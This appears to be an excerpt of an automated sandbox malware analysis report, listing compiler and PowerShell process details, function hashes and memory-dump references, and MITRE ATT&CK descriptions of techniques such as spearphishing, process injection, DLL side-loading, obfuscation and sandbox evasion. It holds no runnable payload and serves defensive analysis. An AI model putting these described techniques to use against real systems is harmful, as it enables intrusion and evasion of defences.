Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.cmdline"
Imagebase:	0x7ff7bc0a0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:22:42
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDFCA.tmp" "c:\Users\user\AppData\Local\Temp\nkfeparf\CSC893044B012DD471D94F368B2CDB922.TMP"
Imagebase:	0x7ff683b10000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848E888F6 Relevance: .5, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2731294857.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4b83310d08fb818f550be210d76f36399c61a104444bf55bbaa3b15b88e96e7
Instruction ID: 59690cc0a9608920687dfb18948d5cbde8f540e25bf7ceae702652c32292d2ab
Opcode Fuzzy Hash: b4b83310d08fb818f550be210d76f36399c61a104444bf55bbaa3b15b88e96e7
Instruction Fuzzy Hash: F5F1B23090CA8E8FEBA8EF28C8557E937D1FF54350F44426EE84DC7295DB34A9458B86

Function 00007FF848E896A2 Relevance: .5, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2731294857.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f4a2e0729fd964b3076e6728137292cfcd1a98bbb9199ae0715b674ce3818f
Instruction ID: acd0fa38f90b22467c8a1a4021a7b9af129cea84a7d2cd5b509a5cebfe18f3ba
Opcode Fuzzy Hash: 55f4a2e0729fd964b3076e6728137292cfcd1a98bbb9199ae0715b674ce3818f
Instruction Fuzzy Hash: 12E1C03090CA8E8FEBA9EF28C8567E977D1FF54350F44426AD84DC7295DF78A8418B81

Function 00007FF848E93FC4 Relevance: 1.6, APIs: 1, Instructions: 117
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF848E9406E

Memory Dump Source

Source File: 00000006.00000002.2731294857.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4b2290ddb9b73ab7506d55fe0c170d3dc4bd3562615220f931f206db3cae69e0
Instruction ID: b69e80430e388621fb5b82274248a6993a14ae0920719b090db059ec0cfbbf52
Opcode Fuzzy Hash: 4b2290ddb9b73ab7506d55fe0c170d3dc4bd3562615220f931f206db3cae69e0
Instruction Fuzzy Hash: 2031D23190CA4C8FDB59DBA8D849AE9BBE0FB66321F04426BD009C3291DB75A805CB91

Function 00007FF848E939DA Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF848E9406E

Memory Dump Source

Source File: 00000006.00000002.2731294857.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d4932d9da7bc9ec7f417167d2d0852e1e80aad3548eddf12d226bda464cba89e
Instruction ID: ec128f4bcaa6eccddec75d8cec966e8f3dec07a39a1d256ddc849f98f6094121
Opcode Fuzzy Hash: d4932d9da7bc9ec7f417167d2d0852e1e80aad3548eddf12d226bda464cba89e
Instruction Fuzzy Hash: E821807190CA1C9FDB58EF9CD849BE9BBE0FB69321F00822ED009D3651DB71A8458B91

Analysis Process: powershell.exePID: 5616, Parent PID: 5852COMMON

Executed Functions

Function 00007FF848E9EB74 Relevance: .5, Instructions: 518COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2689067800c3e3b31a9cd2f097ffbf940dbbef08b6f7a9aae1b24c6924c2f667
Instruction ID: 53ed6b7781db178e57a0720a75525f9f6766cfdf2588247414eb158e4a8f4800
Opcode Fuzzy Hash: 2689067800c3e3b31a9cd2f097ffbf940dbbef08b6f7a9aae1b24c6924c2f667
Instruction Fuzzy Hash: 4CF15960E0EA8A5FE79AB77854152B97BE1FF56284F0401FED44ECB1D3EEAD58008391

Function 00007FF848E9D146 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de5f47b69dbc6ad1ad6682ce031cbd76ce5b43baa1bc113687055d3e2deddf09
Instruction ID: f5292813a7e67bccb65afa2aa89a0b8c4fc8fa20296a49a45e6e1d34b88ba897
Opcode Fuzzy Hash: de5f47b69dbc6ad1ad6682ce031cbd76ce5b43baa1bc113687055d3e2deddf09
Instruction Fuzzy Hash: 75F1A330A0CA8D8FEBA8EF68C8557E937D1FF54354F04426AE84DC7291DB78E9458B81

Function 00007FF848E9DEF2 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7885784cda5f4a2b8fcb7b848b3c7a5de733b71ea0d2b724d5b94546ec5f0f5
Instruction ID: a459d6da9f3575b6b076b9e67abd05e8dbfc74eb5ae9f4800ac4ec71f353977e
Opcode Fuzzy Hash: d7885784cda5f4a2b8fcb7b848b3c7a5de733b71ea0d2b724d5b94546ec5f0f5
Instruction Fuzzy Hash: E2E1B430A0CA4E8FEBA8EF28C8557E977D1FB54354F04426ED84DC7291DFB8A9458B81

Function 00007FF848F6166D Relevance: 1.7, Strings: 1, Instructions: 466COMMON

Download Yara Rule

Strings

I, xrefs: 00007FF848F61862

Memory Dump Source

Source File: 0000000F.00000002.3320118302.00007FF848F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848f60000_powershell.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3542586654
Opcode ID: 736c10c6fd0dad4f1e75223cbc54161db0163ef6c7a183f2c5ff991d82e072eb
Instruction ID: 85eafc85d437bbcd05ba1ad90c686042caa0a94353e98eecc50e0497a01df3f6
Opcode Fuzzy Hash: 736c10c6fd0dad4f1e75223cbc54161db0163ef6c7a183f2c5ff991d82e072eb
Instruction Fuzzy Hash: 41D1E331A0DBC94FE796A73858556B57FE0EF562A0F0802FBD448C71D3EA189C86C395

Function 00007FF848F640E9 Relevance: 1.3, Instructions: 1331COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3320118302.00007FF848F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2af1907ecc6f9816ac3ecbc06c8e832165ed1a074e3d965e3cd27794f201ae4f
Instruction ID: 2c534a8fc97003d168d67c6c329276b1c938a9c925f8b9a718c7f5c86d52da5d
Opcode Fuzzy Hash: 2af1907ecc6f9816ac3ecbc06c8e832165ed1a074e3d965e3cd27794f201ae4f
Instruction Fuzzy Hash: CFA15731A0DBC54FE79ABB2858116747BE1EF62264F0802FFD44DC71D3DB1898068396

Function 00007FF848F63881 Relevance: .6, Instructions: 627COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3320118302.00007FF848F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdaada01cb33fb35a5b60b737dc2cd775b8918feb1fd9e39f660dacabec41fbf
Instruction ID: 08cefb43250681a9d91f2c30410c23c7021afcdd9dd33af55def862db88399c1
Opcode Fuzzy Hash: cdaada01cb33fb35a5b60b737dc2cd775b8918feb1fd9e39f660dacabec41fbf
Instruction Fuzzy Hash: FD023331E0DA895FE795AB2C58496B57BE1EF56360F0802BAD04DC71D3EB18AC07C395

Function 00007FF848E9DB06 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f68cdf3ca76ba558f3e435d4ad615b444bbecf572c9dcf5d5ae181d51acae662
Instruction ID: e0d925d82effddbc9fdcaca055b0463155b5a9bc851a58a36e468009c1e345c6
Opcode Fuzzy Hash: f68cdf3ca76ba558f3e435d4ad615b444bbecf572c9dcf5d5ae181d51acae662
Instruction Fuzzy Hash: D6B1D430A0CA8D4FEB69EF28C8557E93BD1FF55354F04426EE84DC7292CB74A8458B86

Function 00007FF848E99A3A Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daddd669aee54ea88a5812b71209f0db88e10a3570afebb750ca7c6ac3f2a2bd
Instruction ID: d54ef8afe34b230db979910bb4c58381a8abaa9b16a105e31067c7ece9d8ac6c
Opcode Fuzzy Hash: daddd669aee54ea88a5812b71209f0db88e10a3570afebb750ca7c6ac3f2a2bd
Instruction Fuzzy Hash: 8791E570A0D68A9FEB46F7B888116B97BE1FF5A348F1400B9D14DC72D2DF78A8418745

Function 00007FF848E9F34D Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e98b18f4f8998bb6dfa3fd2993068f1e2cb9d8d4b6d07a1f81fcf63877061663
Instruction ID: 6a54f3a9a24b171557a381578e11992a363b55a0253835dd14fb243f0fb0dad3
Opcode Fuzzy Hash: e98b18f4f8998bb6dfa3fd2993068f1e2cb9d8d4b6d07a1f81fcf63877061663
Instruction Fuzzy Hash: E8712370D0EA895FDB9AE7B888116A9BBE0FF56344F1401BBC44DEB1D3DA6C6804C351

Function 00007FF848E9F4C5 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67dcd004ec0c436472ef1cbd81574090fe086d768b5f9eee043c4cc014809765
Instruction ID: 12b18f250fa1e95a506eeb1e712553d4c5f0842b0de693c5180b89bad9fe6d98
Opcode Fuzzy Hash: 67dcd004ec0c436472ef1cbd81574090fe086d768b5f9eee043c4cc014809765
Instruction Fuzzy Hash: 2031F321F1DD4A5FE788B7B8582A3B9B6D1FF58794F0442BAE40DC32D3DE2858018752

Function 00007FF848E992F9 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc69552005d927b63884469d5a7fffeed23b7ca3a8f209e89998e78b74b6f043
Instruction ID: 473fba2e8e8e2ed04052ff6dacff79ce8fa5a0c0d8e2dc4a6b3c181e1dd79909
Opcode Fuzzy Hash: cc69552005d927b63884469d5a7fffeed23b7ca3a8f209e89998e78b74b6f043
Instruction Fuzzy Hash: AA31055090EB865FE75FB6B91822679BBD0AF42288F5400BED14EDB5D3CEAC78049325

Function 00007FF848E9D604 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e0e896dd6d7edf72da2232f9843b4e4db53168c735b1d0f9959bc0a7b90047f
Instruction ID: 7a7cd0eb6bab3f497218cd3dc9b81dded55910c8528ca8c2b3f80f5bcf2a1239
Opcode Fuzzy Hash: 7e0e896dd6d7edf72da2232f9843b4e4db53168c735b1d0f9959bc0a7b90047f
Instruction Fuzzy Hash: C6310E3091D65E8EFBB8AF98CC1ABF93290FF41359F400139E45E86193CB78A985CB15

Function 00007FF848E9F2A9 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7439f0200f78304484e5720f3bcdca31dd7501c8328df659e37ee1f7b8b772f2
Instruction ID: 1eb633e5f743f641195ffddd1a12ff054c72108f3b773d03116eb3017429ecc1
Opcode Fuzzy Hash: 7439f0200f78304484e5720f3bcdca31dd7501c8328df659e37ee1f7b8b772f2
Instruction Fuzzy Hash: B7216A25C0CB954FE3A5E26854222B57FE0BF21388F0A04FACC4CCB0E3DAAC5C448396

Function 00007FF848E933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 29c1cfa6bac51b81d075f13f06edf054ad2643bd55ff8ec3c5d015a1cc12a693
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 6C01677115CB0D4FDB44EF0CE451AA6B7E0FB95364F10056DE58AC3661DB36E882CB45

Function 00007FF848F63933 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3320118302.00007FF848F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67bb49e5aad304ad903e201408df665b84236b9931672c175f9bd2f72362ef6f
Instruction ID: f323201f4a5748aafed7c07cf0ca9942893a23a32c4fd96a0935940b0ed63e67
Opcode Fuzzy Hash: 67bb49e5aad304ad903e201408df665b84236b9931672c175f9bd2f72362ef6f
Instruction Fuzzy Hash: 4DF08232E1DD3E8EF6A5B75C24053B5A1E2EF886A0F5812B2D41DE32C6DE18AC174685

Function 00007FF848E99CA8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e353d86a8a5e1e9850419ddf55154107e54462a8215017814fc7b2b5688e0e9b
Instruction ID: b61f7b185c4f47a49950e1db882be39e4676bf79a8c099f0652fa36c29b87d6d
Opcode Fuzzy Hash: e353d86a8a5e1e9850419ddf55154107e54462a8215017814fc7b2b5688e0e9b
Instruction Fuzzy Hash: 00E06835C0DA0C5FDB00BA5CA804AD5BBE0FB8832CF0800B9D00CD3181C2355885C355

Function 00007FF848E99C6E Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a33e04219408ad0d9697db7ab673b79aa0441a5788959a4a6bab61a540e239d
Instruction ID: 4d7b58b1da0c57e6d9b0f6fce56ef2d1e8b5dad5920cbd6a7eaa01ff84b3ed86
Opcode Fuzzy Hash: 9a33e04219408ad0d9697db7ab673b79aa0441a5788959a4a6bab61a540e239d
Instruction Fuzzy Hash: 37E0D832D1CA5C5FDB41BB69FC04AD977E4FB85358F0400A9E50CC3191D7755951C346

Non-executed Functions

Function 00007FF848E9854D Relevance: 5.1, Strings: 4, Instructions: 121COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FF848E985C9
K_^, xrefs: 00007FF848E9857A
K_^, xrefs: 00007FF848E9852A
K_^, xrefs: 00007FF848E9856A

Memory Dump Source

Source File: 0000000F.00000002.3313594327.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^
API String ID: 0-4267328068
Opcode ID: 415a40c31bd015330c626266326d9367c1a5488419c78534997171bfe538ce7b
Instruction ID: ea0066d0174587f8e8f38800ae0e39b7422d8f3367ff638cb1364b90f5d4b87e
Opcode Fuzzy Hash: 415a40c31bd015330c626266326d9367c1a5488419c78534997171bfe538ce7b
Instruction Fuzzy Hash: 8C41FBB3D0EAE25FE71A667868551A53F50FF2179CF0900FBC098470E3EE69680B8705

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

